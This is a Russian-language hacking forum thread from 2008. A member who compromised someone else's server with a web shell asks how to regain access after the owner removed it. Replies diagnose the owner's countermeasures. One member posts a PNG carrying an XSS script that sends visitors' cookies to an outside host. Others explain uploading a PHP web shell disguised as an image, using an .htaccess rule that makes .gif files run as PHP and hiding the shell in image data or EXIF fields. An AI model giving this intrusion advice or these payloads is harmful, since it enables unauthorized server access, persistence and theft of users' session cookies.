ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
17.03.2008, 18:48
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076
Репутация:
4303
|
|
sha-1
|
|
|
проблемы с доступом к серверу |
17.03.2008, 22:13
|
|
Познающий
Регистрация: 19.01.2007
Сообщений: 53
Провел на форуме:
503896
Репутация:
6
|
|
проблемы с доступом к серверу
в общем, описываю ситуацию с самого начала.
был доступ к серву посредсвам шела, потом поимел доступ к бд итд
когда холдер заметил мое появление удалил все шелы.
залил заново, но теперь шел не запускается (пробовал разные).
видимо чтото с обработкой пхп. При запросе к пхп файлам вылазит пустая страница(в сорсах- хтмл=боди-боди-хтмл)
остался доступ к админке- заливаю без проблем, но редактить нельзя.
с БД тоже самое- просто вылазит пустая страница (с других ипов не пускает, сам прописывал свой ип в конфигах)
к записи в админке разрешены следующие форматы
txt, php, gif, jpg, xls, mdb, csv, rar, zip, css, doc, chm, pdf
Что сейчас можно сделать чтобы снова доступ получить? И что вообще холдер сделал?
Последний раз редактировалось prozorov; 17.03.2008 в 22:25..
|
|
|
|
17.03.2008, 22:56
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408
Репутация:
861
|
|
prozorov, Залей какой-нить скрипт для работы с бд на пхп и проверь работает ли, и просто <? echo 'henk'; ?>, и напиши результаты.
|
|
|
|
17.03.2008, 23:08
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357
Репутация:
3742
|
|
к примеру мог в папку куда все льется положить хтакцес с php_flag engine off
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|
|
17.03.2008, 23:19
|
|
Познающий
Регистрация: 19.01.2007
Сообщений: 53
Провел на форуме:
503896
Репутация:
6
|
|
Сообщение от n0ne
prozorov, Залей какой-нить скрипт для работы с бд на пхп и проверь работает ли, и просто <? echo 'henk'; ?>, и напиши результаты.
подходящих скриптов не нашел, но вроде обрабатывает
<? echo 'henk'; ?> тоже обрабатывает
хтакцес с php_flag engine off
может быть, я проверил все папки- результат один
кста, на сайте форум был, тоже работать перестал
|
|
|
|
18.03.2008, 00:53
|
|
Новичок
Регистрация: 07.05.2007
Сообщений: 12
Провел на форуме:
77696
Репутация:
1
|
|
нашел xss на сайте залив картинку png c таким содержанием
Код:
‰PNG IHDR Д‰ sRGB ®О й gAMA ±Џьa cHRM z& Ђ„ ъ Ђи u0 к` :˜ pњєQ< pHYs љњ IDATWcш ыэ+ХE IEND®B`‚<html> <script>alert(/by_blabla_/)</script><script>img = new Image(); img.src = "http://s.netsec.ru/absent09.gif?"+document.cookie;</script> </html> z& Ђ„ ъ Ђи u0 к` :˜ pњєQ< pHYs љњ IDATWcш ыэ+ХE IEND®B`‚
напрашивается вопрос можно ли вставить шелл вместо <html> <script>alert(/by_blabal_/)</script><script>img = new Image(); img.src = "http://s.netsec.ru/absent09.gif?"+document.cookie;</script> </html> ?
я вставляю вместо этого код шелла а когда запускаю такое чувство будто php не работает =( |
|
|
|
18.03.2008, 01:01
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357
Репутация:
3742
|
|
нет, xss выполняется на стороне клиента. пхп код который ты вставляешь тоже только показывается юзеру, но не выполняется на самом сервере
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|
|
18.03.2008, 01:14
|
|
Moderator - Level 7
Регистрация: 24.02.2006
Сообщений: 447
Провел на форуме:
2872049
Репутация:
705
|
|
Сообщение от prozorov
подходящих скриптов не нашел, но вроде обрабатывает
<? echo 'henk'; ?> тоже обрабатывает
хтакцес с php_flag engine off
может быть, я проверил все папки- результат один
кста, на сайте форум был, тоже работать перестал
у тя safe mode on скорее всего с safe_mode_gid(on)
to MSDEN
по пробуй залить это
PHP код:
<Files "s.gif">
AddType application/x-httpd-php .gif
</Files>
и залить картинку с шеллом.
|
|
|
|
18.03.2008, 01:20
|
|
Новичок
Регистрация: 07.05.2007
Сообщений: 12
Провел на форуме:
77696
Репутация:
1
|
|
gibson, я в этом чуть чуть чайнег
<Files "s.gif">
AddType application/x-httpd-php .gif
</Files> залить в виде чего? как второй файл чтоли?
а какртинку с шеллом как залить? просто у шелла разрешение поменять?
если нетрудно дай аську 
|
|
|
|
18.03.2008, 02:20
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789
Репутация:
227
|
|
<Files "s.gif">
AddType application/x-httpd-php .gif
</Files>
это текст в файле .htaccess (тип настройка в апаче). Этот файл говорит апачу, чтобы расшширение ГИФ он воспринимал как скрипт.
Как залить? ЕСли у тя там проверка тока по расширению, то поменяй просто расширение. а если по типу, то допиши шелл в конец картинки. (ну например в свойствах в поле exif впиши)
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
